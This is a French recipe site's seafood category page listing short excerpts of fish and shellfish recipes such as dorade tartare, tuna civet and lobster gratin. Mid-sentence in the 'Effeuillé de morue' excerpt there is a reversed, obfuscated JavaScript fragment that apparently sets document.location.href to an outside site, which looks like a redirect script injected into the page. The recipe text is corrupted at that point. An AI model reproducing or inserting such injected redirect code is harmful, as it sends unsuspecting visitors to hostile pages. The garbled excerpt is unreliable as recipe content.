Catégorie : Mer
Tartare de dorade avec des courgettes
Pelez et coupez les courgettes en fines lamelles, faites-les blanchir 2 minutes dans de l’eau ...
Christine Lire la suiteCivet de thon frais
Salez, poivrez le morceau de thon, ficelez en rôti. Faites-le revenir dans l’huile d’olive, sur ...
Christine Lire la suiteEffeuillé de morue
Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteGrillade de thon rouge aux herbes de Provence
Répartissez généreusement sur la darne de thon, d’herbes de Provence, salez, poivrez .Faites la griller ...
Christine Lire la suiteQueue de cabillaud au beurre anisé
Déposez la queue de cabillaud dans un plat allant au four, salez, poivrez, arrosez de ...
Christine Lire la suiteDaurade en croûte de sel
Versez 1 kg de gros sel dans un plat allant au four. Posez la daurade ...
Christine Lire la suiteGratin de homard
Faire cuire la chair de homard pendant 15 minutes dans une eau bouillante salée. pelez ...
Christine Lire la suiteMarmite de poissons
Grattez, rincez les moules. Coupez le saumon et le cabillaud en morceaux. Pelez, émincez les ...
Christine Lire la suiteTartare de poissons à la tahitienne
Coupez chaque ananas en deux dans le sens de la hauteur sans les abîmer. Prélevez-en ...
Christine Lire la suiteBagna cauda (Italie)
On utilise des légumes cuits- des pommes de terre – des choux fleurs – où ...
Christine Lire la suite